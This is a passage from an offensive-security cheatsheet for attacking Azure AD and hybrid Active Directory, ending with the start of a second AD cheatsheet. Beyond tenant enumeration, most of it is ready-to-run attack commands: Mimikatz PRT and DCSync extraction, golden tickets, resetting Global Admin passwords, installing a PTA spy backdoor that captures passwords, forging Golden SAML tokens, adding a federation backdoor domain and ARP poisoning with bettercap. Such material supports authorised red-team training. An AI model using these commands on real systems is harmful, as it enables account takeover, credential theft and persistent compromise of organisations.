Get-AzADGroup -SearchString "admin" | fl *
Get-AzADGroup |?{$_.Displayname -match "admin"}
```

#### Groups that allow Dynamic membership

```powershell
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
```

#### Groups synced from on-prem or from Azure AD

```powershell
#From on-prem
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}

#From Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
```

#### Members of a group

```powershell
#AzureAD module
Get-AzureADGroupMember -ObjectId <object_ID>

#Az PowerShell
Get-AzADGroupMember -ObjectId <object_ID>
```

#### Groups and roles where a specified user is member

```powershell
Get-AzureADUser -SearchString 'test' | Get-AzureADUserMembership
Get-AzureADUserMembership -ObjectId test@<tenant>.onmicrosoft.com
```

### Administrative Units

#### Members of an Administrative Unit

```powershell
Get-AzureADMSAdministrativeUnitMember -Id <unit_ID>
```

#### Role scoped to an Administrative Unit

```powershell
Get-AzureADMSScopedRoleMembership -Id <unit_ID> | fl *
```

### Roles

#### All role templates

```powershell
Get-AzureADDirectoryroleTemplate
```

#### All roles

```powershell
Get-AzureADDirectoryRole
```

#### Users to whom roles are assigned

```powershell
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
```

### Devices

#### All Azure joined and registered devices

```powershell
Get-AzureADDevice -All $true | fl *
```

#### Device configuration object

```powershell
Get-AzureADDeviceConfiguration | fl *
```

#### List Registered owners of all the devices

```powershell
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
```

#### List Registered users of all the devices

```powershell
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
```

#### List devices owned by a user

```powershell
Get-AzureADUserOwnedDevice -ObjectId user@<tenant>.onmicrosoft.com 
```

#### List devices registered by a user

```powershell
Get-AzureADUserRegisteredDevice -ObjectId user@<tenant>.onmicrosoft.com 
```

#### List devices managed using Intune

```powershell
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
```

#### List VM where current user has at least Reader role

```powershell
Get-AzVM | fl
```

### Applications

#### All application objects

```powershell
#AzureAD module
Get-AzureADApplication -All $true

#Az PowerShell
Get-AzADApplication
```

#### All App Services & Function Apps

```powershell
#App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}

Function Apps
Get-AzFunctionApp
```

#### All details about an application

```powershell
#AzureAD module
Get-AzureADApplication -ObjectId <object_ID> | fl *

#Az PowerShell
Get-AzADApplication -ObjectId <object_ID>
```

#### Get application with a specified DisplayName

```powershell
#AzureAD module
Get-AzureADApplication -All $true | ?{$_.DisplayName -match "app"}

#Az PowerShell
Get-AzADApplication | ?{$_.DisplayName -match "app"} 
```

#### Owner of an application

```powershell
Get-AzureADApplication -ObjectId <object_ID> | Get-AzureADApplicationOwner |fl *
```

#### Apps where a User or a Group has a role

```powershell
Get-AzureADUser -ObjectId user@<tenant>.onmicrosoft.com | Get AzureADUserAppRoleAssignment | fl *

Get-AzureADGroup -ObjectId <object_ID> | Get-AzureADGroupAppRoleAssignment | fl *
```

### Service Principals

Service principal is the local representation for an app in a specific tenant and it is the security object that has privileges. This is the 'service account'.

#### All Service Principals

```powershell
#AzureAD module
Get-AzureADServicePrincipal -All $true

#Az PowerShell
Get-AzADServicePrincipal
```

#### All details about a SP

```powershell
#AzureAD module
Get-AzureADServicePrincipal -ObjectId <object_ID> | fl *

#Az PowerShell
Get-AzADServicePrincipal -ObjectId <object_ID>
```

#### SP based on DisplayName

```powershell
#AzureAD module
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"}

#Az PowerShell
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"} 
```

#### Owner of a SP

```powershell
Get-AzureADServicePrincipal -ObjectId <object_ID> | Get-AzureADServicePrincipalOwner |fl *
```

#### Objects owned by a SP

```powershell
Get-AzureADServicePrincipal -ObjectId <object_ID> | Get-AzureADServicePrincipalOwnedObject
```

#### Objects created by a SP

```powershell
Get-AzureADServicePrincipal -ObjectId <object_ID> | Get-AzureADServicePrincipalCreatedObject
```

#### Group and role memberships of a SP

```powershell
Get-AzureADServicePrincipal -ObjectId <object_ID> | Get-AzureADServicePrincipalMembership |fl * 

Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
```

### ROADTools

[ROADtools](https://github.com/dirkjanm/ROADtools)

Enumeration using RoadRecon includes three steps

* Authentication
* Data Gathering
* Data Exploration

#### Authentication

```powershell
cd C:\AzAD\Tools\ROADTools
pipenv shell 
roadrecon auth -u test@<tenant>.onmicrosoft.com -p <password>
```

#### Gather information

`roadrecon gather`

#### Use the GUI

Server on port 5000

`roadrecon gui`

### BloodHound / AzureHound

#### Authentication and collector execution

```powershell
$passwd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@<tenant>.onmicrosoft.com", $passwd)

Connect-AzAccount -Credential $creds
Connect-AzureAD -Credential $creds

. .\AzureHound.ps1
Invoke-AzureHound -Verbose
```

#### Interesting Neo4J queries

* Find all users who have the Global Administrator role

`MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p`

* Find all paths to an Azure VM

`MATCH p = (n)-[r]->(g: AZVM) RETURN p`

* Find all paths to an Azure KeyVault

`MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p`

* Find all paths to an Azure Resource Group

`MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p`

* Find Owners of Azure Groups

`MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p`

### Stormspotter

Stormspotter creates an “attack graph” of the resources in an Azure subscription. Similar to BloodHound, but made by MS.

In three different PowerShell:

```powershell
#Start the backend server
cd ./stormspotter/backend
pipenv shell
python ssbackend.pyz

#Start the frontend server
cd ./stormspotter/frontend/dist/spa/
quasar.cmd serve -p 9091 --history

#Run the collector
cd ./stormspotter/stormcollector/
pipenv shell
az login -u test@<tenant>.onmicrosoft.com -p <password>
python ./stormspotter/stormcollector/sscollector.pyz cli
```

Then access to the GUI on `http://localhost:9091` with Server: `bolt://localhost:7687`

## Using Azure tokens

### Request access token

#### For resource manager (ARM)

When already connected to a tenant, with **Az PowerShell** or **AzureAD module**

```powershell
Get-AzAccessToken
(Get-AzAccessToken).Token
```

#### For AAD Graph

```powershell
Get-AzAccessToken -ResourceTypeName AadGraph
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token
```

### Use the access token

```powershell
#Az PowerShell
Connect-AzAccount -AccountId test@<tenant>.onmicrosoft.com -AccessToken eyJ0eXA...

	#For AAD Graph
Connect-AzAccount -AccountId test@<tenant>.onmicrosoft.com -AccessToken eyJ0eXA... -GraphAccessToken eyJ0eXA...

AzureAD module
Connect-AzureAD -AccountId test@<tenant>.onmicrosoft.com -AadAccessToken eyJ0eXA... 
```

#### Use token with ARM API

List all subscriptions

```powershell
$Token = 'eyJ0eXAi..'

$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'

$RequestParams = @{
	Method = 'GET'
	Uri = $URI
	Headers = @{
		'Authorization' = "Bearer $Token"
	}
}
(Invoke-RestMethod @RequestParams).value
```

List all resources accessible for the managed identity assigned to the app service:

```powershell
$Token = 'eyJ0eXAi..'

$URI = 'https://management.azure.com/subscriptions/<id>/resources?api-version=2020-10-01'

$RequestParams = @{
	Method = 'GET'
	Uri = $URI
	Headers = @{
		'Authorization' = "Bearer $Token"
	}
}
(Invoke-RestMethod @RequestParams).value
```

List allowed actions on the resource:

```powershell
$Token = 'eyJ0eXAi..'

$URI = 'https://management.azure.com/subscriptions/<id>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'

$RequestParams = @{
	Method = 'GET'
	Uri = $URI
	Headers = @{
		'Authorization' = "Bearer $Token"
	}
}
(Invoke-RestMethod @RequestParams).value
```

#### Use token with MS Graph API

List all users

```powershell
$Token = 'eyJ0eXAi..'

$URI = 'https://graph.microsoft.com/v1.0/users'

$RequestParams = @{
	Method = 'GET'
	Uri = $URI
	Headers = @{
		'Authorization' = "Bearer $Token"
	}
}
(Invoke-RestMethod @RequestParams).value 
```

## Privilege Escalation

### Automation Account

* Azure's automation service that allows to automate tasks for Azure resources, on-prem infra and other cloud providers.
* Supports Process Automation using Runbooks, Configuration Management (supports DSC), update management and shared resources (credentials, certificates, connections etc) for both Windows and Linux resources hosted on Azure and on-prem.

To check for automation account with Azure CLI:

```powershell
az automation account list

#Result
[
 {
 "creationTime": "2021-03-17T14:40:05.340000+00:00",
 "description": null,
 "etag": null,
 "id": "/subscriptions/<id>/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation",
 "lastModifiedBy": null,
 "lastModifiedTime": "2021-04-04T03:50:44.573333+00:00",
 "location": "france",
 "name": "HybridAutomation",
 "resourceGroup": "Engineering",
 "sku": null,
 "state": null,
 "tags": {},
 "type": "Microsoft.Automation/AutomationAccounts"
 }
]
```

#### Run As account

* Used to provide authentication for managing Azure resources.
* Created by default when an automation account is created. Possible to create it later too.
* When a Run As account is created, it creates an Azure AD application with self-signed certificate, creates a service principal and assigns the Contributor role for the account in the current subscription.
* **Contributor on the entire subscription!**
* The Run As account can only be used from inside a Runbook, so **Contributor on a Runbook = profit!**

#### Runbook

* Runbook contains the automation logic and code that you want to execute.
* You can use the Shared Resources (credentials, certificates, connections etc) and the privileges of the Run As account from a Runbook.
* Always checkout Runbooks! They often have credentials that are not stored in the shared resources.

With sufficent RBAC role (**Contributor** for example) on a **Automation Account** it is possible to create Runbooks

```powershell
Get-AzRoleAssignment -Scope /subscriptions/<id>/resourceGroups/<resource group>/providers/Microsoft.Automation/automationAccounts/<automation account>

#Result
RoleAssignmentId : /subscriptions/<id>/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation/providers/Microsoft.Authorization/roleAssignments/c981e312-78da-4698-9702-e7424fae94f8
Scope : /subscriptions/<id>/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation
DisplayName : Automation Admins
SignInName :
RoleDefinitionName : Contributor
```

Import and publish and run a runbook in a Hybrid Worker group (on a machine on-prem):

```powershell
Import-AzAutomationRunbook -Name <name> -Path C:\path\to\ps1 -AutomationAccountName <automation account> -ResourceGroupName <resource group> -Type PowerShell -Force -Verbose
Publish-AzAutomationRunbook -RunbookName <name> -AutomationAccountName <automation account> -ResourceGroupName <resource group> -Verbose
Start-AzAutomationRunbook -RunbookName <name> -RunOn <hybrid worker group> -AutomationAccountName <automation account> -ResourceGroupName <resource group> -Verbose
```

#### Hybrid Worker

* This is used when a Runbook is to be run on a non-azure machine.
* A user-defined hybrid runbook worker is a member of hybrid runbook worker group.
* The Log Analytics Agent is deployed on the VM to register it as a hybrid worker.
* The hybrid worker jobs run as SYSTEM on Windows and nxautomation account on Linux.

Check for hybrid worker group:

```powershell
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <automation account> -ResourceGroupName <resource group>
```

### VM command execution

```powershell
Invoke-AzVMRunCommand -VMName <vmname> -ResourceGroupName <resource group> -CommandId 'RunPowerShellScript' -ScriptPath '.\adduser.ps1' -Verbose
```

### Key Vault

* Azure service for storing secrets like passwords, connection strings, certificates, private keys etc.
* With right permissions and access, Azure resources that support managed identities (VMs, App Service, Functions, Container etc.) can securely retrieve secrets from the key vault.

|               Built-in Role              |                              Description                             | Can access secrets ? |
| :--------------------------------------: | :------------------------------------------------------------------: | :------------------: |
|           Key Vault Contributor          |                         Can manage key vaults                        |          No          |
|          Key Vault Administrator         |   Perform all data plane operations. Cannot manage role assignment.  |          Yes         |
|      Key Vault Certificates Officer      |    Perform any action on certificates. Cannot manage permissions.    |  Yes (Certificates)  |
|         Key Vault Crypto Officer         |        Perform any action on keys. Cannot manage permissions.        |      Yes (Keys)      |
|         Key Vault Secrets Officer        |       Perform any action on secrets. Cannot manage permissions.      |     Yes (Secrets)    |
|          Key Vault Secrets User          |                         Read secret contents.                        |     Yes (Secrets)    |
| Key Vault Crypto Service Encryption User |       Read metadata and perform wrap/unwrap operations on keys       |          No          |
|           Key Vault Crypto User          |              Perform cryptographic operations using keys             |          No          |
|             Key Vault Reader             | Read metadata of key vaults and its certificates, keys, and secrets. |          No          |

To extract secrets from a Key Vault:

```powershell
Get-AzKeyVaultSecret -VaultName <keyvault_name>
Get-AzKeyVaultSecret -VaultName <keyvault_name> -Name <name> -AsPlainText
```

### Enterprise Applications

#### Client Secrets

* An application object supports multiple client secrets (application passwords).
* A user that is owner or have application administrator role over an application can add an application password.
* An application password can be used to login to a tenant as a service principal. MFA is usually not applied on a service principal

If we can compromise a user that has enough permissions to create a client secret/application password for an application object, we can:

* Login as the service principal for that application
* Bypass MFA
* Access all the resources where roles are assigned to the service principal
* Add credentials to an enterprise applications for persistence after compromising a tenant

```powershell
Add-AzADAppSecret -GraphToken $graphtoken -Verbose
```

### ARM Templates

ARM templates are JSON files containing deployment configuration for Azure resources.

Any user with permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can read the deployment history.

It can contain sensitive informations like passwords, usernames, descriptions, etc.

### Function Application

These apps are used for continious deployement from a source code provider (Azure Repos, GitHub, etc). If an account to the provider is compromised, the automatic deployement can be abused by modifying the source code.

#### Check access to resource group

```powershell
Get-AzResourceGroup
```

#### Check if managed identity can read any deployment from the resource group:

```powershell
Get-AzResourceGroupDeployment -ResourceGroupName <resource group>
```

#### Save the deployment template

```powershell
Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <resource group> -DeploymentName <deployement name>
```

## Lateral Movement

### PRT & Azure AD joined machines

PRT = Primary Refresh Token, can be used to request new access tokens for applications

When two machines authenticate between them:

* The machine (client) initiating the connection needs a certificate from Azure AD for a user.
* Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and sends it to Azure AD.
* Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and responds with the certificate.

It is possible to extract user's PRT from a compromised machine

#### Pass-the-certificate

Check if a machine is Azure AD joined:

```powershell
dsregcmd /status
```

Extract PRT, Session key and Tenant ID with Mimikatz. Then extract context key and derived key:

```powershell
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap" "exit"'

Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "dpapi::cloudapkd /keyvalue:<keyvalue> /unprotect" "exit"'
```

Request a certificate with **`PrtToCert`**:

```powershell
python3 RequestCert.py --tenantId <tenant_ID> --prt QVFBQFBX[SNIP] --userName admin@<tenant>.onmicrosoft.com --hexCtx e096b37dc0dcde438[SNIP] --hexDerivedKey b8a39c7b3b7e59b[SNIP]
```

Use the certificate with **`AzureADJoinedMachinePTC`**:

```powershell
python3 Main.py --usercert "admin.pfx" --certpass <pass> --remoteip 192.168.1.2
```

#### Pass-the-PRT

First, extract the PRT in the user session context with a Nonce and **ROADToken.exe**:

```powershell
$TenantId = "<tenant_ID>"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
 "URI" = $URL
 "Method" = "POST"
}
$Body = @{
 "grant_type" = "srv_challenge"
 }
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce 

ROADToken.exe $Result.Nonce > PRT.txt
```

With **AADInternals** it is possible to request an access token directly from the PRT:

```powershell
New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SessionKey -GetNonce
```

* Open a Browser in Incognito mode
* Go to https://login.microsoftonline.com/login.srf
* Press F12 (Chrome dev tools) -> Application -> Cookies
* Clear all cookies and then add one named `x-ms-RefreshTokenCredential` for https://login.microsoftonline.com and set its value to that retrieved from AADInternals
* Mark HTTPOnly and Secure for the cookie
* Visit https://login.microsoftonline.com/login.srf again and we will get access as the user

### Intune - Cloud to On-Premise

Intune is a Mobile Device Management (MDM) and Mobile Application Management (MAM) service. Using the Endpoint Manager at `https://endpoint.microsoft.com/`, a user with **Global Administrator** or **Intune Administrator** role can execute PowerShell scripts on an enrolled Windows device. The script runs with privileges of SYSTEM on the device. We do not get to see the script output and the script doesn't run again if there is no change.

### Dynamic Groups

In Azure AD it is possible te create rules to automatically add users to `dynamic groups` if specific attributes match the rules.

By default, any user can invite guests in Azure AD.

* If a dynamic group rule allows adding users based on the attributes that a guest user can modify, it will result in abuse of this feature.
* There are two ways the rules can be abused
  * Before joining a tenant as guest. If we can enumerate that a property, say mail, is used in a rule, we can invite a guest with the email ID that matches the rule.
  * After joining a tenant as guest. A guest user can 'manage their own profile', that is, they can modify manager and alternate email. We can abuse a rule that matches on Manager (`Direct Reports for "{objectID_of_manager}"`) or alternative email (`user.otherMails -any (_ -contains "string")`)

### Application Proxy - Cloud to On-Premise

Application Proxy allows access to on-prem web applications after sign-in to Azure AD. These applications can have vulnerabilities that can be exploited.

Enumerate applications with applications proxy configured:

```powershell
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
```

Get the Service Principal (Enterprise Application):

```powershell
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Management System"}
```

Find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it:

```powershell
Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <object_ID>
```

## Hybrid Identity

* Organizations have resources, devices and applications both on-premises and in the cloud.
* Many enterprises use their on-prem AD identities to access Azure applications to avoid managing separate identities on both.
* An on-premises AD can be integrated with Azure AD using Azure AD. Connect with the following methods. Every method supports Single Sign-on (SSO):
  * Password Hash Sync (PHS)
  * Pass-Through Authentication (PTA)
  * Federation
* For each method, at least the user synchronization is done and an account `MSOL_<installationidentifier>` is created on the on-prem AD.

### PHS

It synchronizes users and a hash of their password hashes (not clear-text or original hashes) from on-prem AD to Azure AD. Built-in security groups are not synced.

By default, password expiry and account expiry are not reflected in Azure AD. That means a user whose on-prem password is expired (not changed) can continue to access Azure resources using the old password.

* The on-prem created account `MSOL_<installationidentifier>` has DCSync rights on the AD
* An account named `Sync_<name of on-prem ADConnect Server>_installationidentifier` is created in Azure AD. It can reset ANY user password **in Azure AD**.

Passwords for both the accounts are stored in SQL server on the server where Azure AD Connect is installed. It is possible to extract them in clear-text with admin privileges on the server.

#### Lateral Movement - On-Prem Dominance

To find the server where Azure AD Connect is installed in the AD, with the AD Module, or from Azure AD:

```powershell
#AD Module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl

#From Azure AD
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```

When the server is compromised, extract the creds with **AADInternals**, and DCSync:

```powershell
#Check if AD Connect is well installed
Get-ADSyncConnector

Get-AADIntSyncCredentials
```

```powershell
runas /netonly /user:domain.corp\MSOL_782bef6aa0a9 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.corp /dc:dc.domain.corp"'
```

#### Lateral Movement - On-Prem to Cloud

With the _Sync_ account's creds, it is possible to reset the password of everyone, even the Global Administrators.

With the creds, request an access token for AADGraph:

```powershell
$passwd = ConvertTo-SecureString '<password>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("Sync_<name of on-prem ADConnect Server>_installationidentifier@<tenant>.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache
```

Enumerates the Global Admins:

```powershell
Get-AADIntGlobalAdmins
```

To reset the password of **an on-prem user** that is synced to Azure AD, the **ImmutableId** (Unique Identifier derived from on-prem GUID) of the user is needed:

```powershell
Get-AADIntUser -UserPrincipalName admin@<tenant>.onmicrosoft.com | select ImmutableId
```

And then reset:

```powershell
Set-AADIntUserPassword -SourceAnchor "<ImmutableId>" -Password "<new_password>" -Verbose
```

To reset the password of **cloud only user**, the **CloudAnchor** that can be calculated from their cloud objectID is needed (The CloudAnchor is of the format `USER_ObjectID`):

```powershell
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
```

Then, reset the user's password:

```powershell
Set-AADIntUserPassword -CloudAnchor "User_<ObjectID>" -Password "<new_password>" -Verbose 
```

### PTA

* No password hash synchronization
* The authentication is validated on-prem. The communication with cloud is done by an authentication agent and not the on-prem DC
* By compromising the authentication agent, it is possible to verify authentications for ANY synced user even if the password is wrong, only the `userPrincipalName` is needed
* By compromising a Global Administrator, it is possible to install an authentication agent in the infrastructure that will authorize all login attempts

#### Lateral Movement - On-Prem to Cloud

On the server running Azure AD Connect with PTA, as admin, install the backdoor:

```powershell
Install-AADIntPTASpy
```

Now it is possible to authenticate on Azure AD as any user without knowing the good password. Additionally, it is possible to spy the passwords of the users who authenticate by running this on the server where the backdoor is installed:

```powershell
Get-AADIntPTASpyLog -DecodePasswords
```

After getting GA privs in Azure AD, it is possible to register a new PTA agent on a controlled machine by running the same steps.

### Seamless SSO

* Azure AD Seamless SSO automatically signs users in when they are on on-prem domain-joined machine. There is no need to use passwords to log in to Azure AD and on-prem applications.
* Supported by both PHS and PTA.
* When Seamless SSO is enabled, a computer account **AZUREADASSOC** is created in the on-prem AD. This account's Kerberos decryption key is shared with Azure AD.
* Azure AD exposes an endpoint (https://autologon.microsoftazuread-sso.com) that accepts Kerberos tickets. Domain-joined machine's browser forwards the tickets to this endpoint for SSO.

By compromising the NTLM hash of the computer account **AZUREADASSOC**, it's possible to create ST that can be used from any machine connected to the internet:

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureAcc$ /domain:domain.corp /dc:dc.domain.corp"'
Invoke-Mimikatz -Command '"kerberos::golden /user:admin /sid:<domain_SID> /id:1108 /domain:domain.corp /rc4:<> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
```

### Federation - ADFS

* In case of federation, a trust is established between unrelated parties like on-prem Active Directory and Azure AD.
* In Federation, all authentication occurs in the on-prem environment and the user experiences SSO across all the trusted environments.
* Users can access cloud applications by using their on-prem credentials.
* A user is identified by **ImmutableID**. It is globally unique and stored in Azure AD.
* In ADFS, SAML Response is signed by a token-signing certificate.
* If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD!
* The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine => **Golden SAML attack**

#### Lateral Movement - On-Prem to Cloud

Get the ImmutableID of a user:

```powershell
#From any on-prem machine
[System.Convert]::ToBase64String((Get-ADUser -Identity onpremuser | select -ExpandProperty ObjectGUID).tobytearray())

#From the ADFS server
Get-AdfsProperties |select identifier

#From Azure AD
Get-MsolDomainFederationSettings -DomainName <tenant>.com | select IssuerUri
```

With DA privileges on-prem, extract the ADFS **token signing certificate** from the ADFS server using **AADInternals**:

```powershell
Export-AADIntADFSSigningCertificate
```

With **AADInternals**, access cloud app as the user:

```powershell
Open-AADIntOffice365Portal -ImmutableID <ImmutableID> -Issuer http://<tenant>.com/adfs/services/trust -PfxFileName ./ADFSSigningCertificate.pfx -Verbose
```

With DA privs on-prem, it is possible to create **ImmutableID** of cloud only users. Create a realistic ImmutableID:

```powershell
[System.Convert]::ToBase64String((New-Guid).tobytearray())
```

Then, same steps to access.

Without DA privs but with the `adfs_svc` account (service account normally presents on any ADFS server) it is also possible to extract the **token signing certificate** and the DKM key (needed to decipher the blob) with **ADFSDump**:

```powershell
./ADFSDump.exe
```

If the DKM key can't be extracted automatically, it is possible to retrieve it manually in LDAP:

```bash
ldapsearch -x -h 192.168.20.10 -D 'domain\adfs_svc' -W -b "DC=DOMAIN,DC=LOCAL" |grep 'CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local' |grep 'thumbnailPhoto'
```

Then, **ADFSpoof** can be used to forge a `SAMLResponse`:

```bash
python3 ADFSpoof.py -b blob.bin key.bin -s adfs.domain.local saml2 --endpoint "https://servicedesk.domain.local/SamlResponseServlet" --nameidformat "urn:oasis:names:tc:SAML:2.0:nameid-format:transient" --nameid "domain\Administrator" --rpidentifier "ME_29472ca9-86f2-4376-bc09-c51aa974bfef" --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier"><AttributeValue>domain\Administrator</AttributeValue></Attribute>'
```

Once the token is generated, we can authenticate on the SAML as `adfs_svc`, with Burp we intercept the requests and the one to `/SamlResponseServlet` containing the `SAMLResponse` is modified to pass the forged token.

## Persistence

### Hybrid Identity

If the Azure AD Connect server is joined to the on-prem AD, techniques like Golden and Silver Tickets, ACL backdoors, etc on the on-prem that provide admin access to the server provide GA access to Azure AD:

* PHS: extract creds
* PTA: install agent
* Federation: Golden SAML

#### PTA & PHS

If _self service password reset_ is enabled in Azure AD and the reset is propaged from Azure AD to on-prem AD:

* If the on-prem AD is already compromised : provide high perms with the **AdminSDHolder** (DCSync for example) to a controlled and synced user
* Reset the user's password in Azure AD -> provide DA privs on the on-prem, can be used to obtain GA on Azure AD

#### Federation - Trusted Domain

With GA on a tenant, it is possible to add a new domain, configure its authentication to Federated and to trust a specific certificate. With **AADInternals**:

```powershell
ConvertTo-AADIntBackdoor -DomainName attacker.io 
```

Get ImmutableID of the user that we want to impersonate. Using **Msol** module:

```powershell
Get-MsolUser | select userPrincipalName,ImmutableID
```

Access any cloud app as the user:

```powershell
Open-AADIntOffice365Portal -ImmutableID <ImmutableID> -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true
```

#### Federation - Token Signing Certificate

With DA on on-prem it is possible to create new Token signing and Token Decrypt with very long validity.

With **AADInternals**, create new certs (default pass : `AADInternals`), add them to ADFS, disable auto rollover and restart service:

```powershell
New-AADIntADFSSelfSignedCertificates
```

Update info with Azure AD:

```powershell
Update-AADIntADFSFederationSettings -Domain domain.io 
```

### Storage Account Access Keys

* Provide root access to a storage account
* There are two keys, not automatically rotated
* Provide access persistence to the storage account

### Applications and SP

* With App Admin priv, GA or custom role with `microsoft.directory/applications/credentials/update` permissions, it is possible to add creds to an existing app
* Useful if the app has high privs
* Bypass MFA
* Also possible to create new app with high privs: with GA, it is possible to create an app with **Privileged authentication administrator role** -> permits to reset GA passwords

Sign as SP with the app ID as username and its secret as password, with **Az PowerShell**:

```powershell
$passwd = ConvertTo-SecureString "<secret>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<app_ID>", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant <tenant_ID>
```

With certificate:

```powershell
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```

### Azure VMs and NSGs

* Azure VMs also support managed identity so persistence on any such VM will allow us access to additional Azure resources.
* Create snapshot of disk attached to a running VM. This can be used to extract secrets stored on disk (like SAM hive for Windows).
* It is also possible to attach a modified/tampered disk to a turned-off VM. For example, add a local administrator

### Custom Azure AD Roles

With GA on a tenant, it is possible to create custom role and assign it to a user. It is possible to take individual privs from here:

[Built-in roles](https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference)

### Deployment Modification

It is possible to create persistence from a code deployment solution like GitHub, similarly as the Privilege Escalation part. Often, a GitHub account would not have same level of security and monitoring compared to an Azure AD account with similar privileges.

## References

* [Pentester Academy](https://www.pentesteracademy.com/)
* [Dirk-jan Mollema](https://dirkjanm.io/)
* [xpnsec](https://blog.xpnsec.com/azuread-connect-for-redteam/)
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md)
* [CARTP Cheatsheet](https://github.com/0xJs/CARTP-cheatsheet)
* Many others

# Active Directory - Python edition

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [**@BlWasp_**](https://twitter.com/BlWasp_).

I will try to put as many links as possible at the end of the page to direct to more complete resources.

## Misc

### Internal audit mindmap

[Insane mindmap](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg) by [@M4yFly](https://twitter.com/M4yFly).

### Find the domain and the DCs

Generally the domain name can be found in `/etc/resolv.conf`

Then the DNS is generally installed on the DC : `nslookup domain.local`

### Usernames wordlist

Create a wordlist of usernames from list of `Surname Name`

[Code here](https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py)

```bash
python3 namemash.py users.txt > usernames.txt
```

## Initial Access

What to do when you are plugged on the network without creds.

* NTLM authentication capture on the wire with [Responder](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-responder) poisoning, maybe in NTLMv1 ?
* [Relay the NTLM authentications](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-ntlm-and-kerberos-re) to interesting endpoints, be careful to the signing
  * SMB socks to list/read/write the shares
  * LDAP to dump the directory
  * LDAPS (or maybe SMB if signing not required) to add a computer account
  * ...
* ARP poisoning with **bettercap**, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found [here](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/arp-poisoning#scenarios-examples).
  * By sniffing everything on the wire with Wireshark, some secrets can be found with **PCredz**.

First, run bettercap with this config file:

```bash
# quick recon of the network
net.probe on

# set the ARP poisoning
set arp.spoof.targets <target_IP>
set arp.spoof.internal true
set arp.spoof.fullduplex true

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff.mdns

# start the modules
arp.spoof on
net.sniff on
```

```bash
sudo ./bettercap --iface <interface> --caplet spoof.cap
```

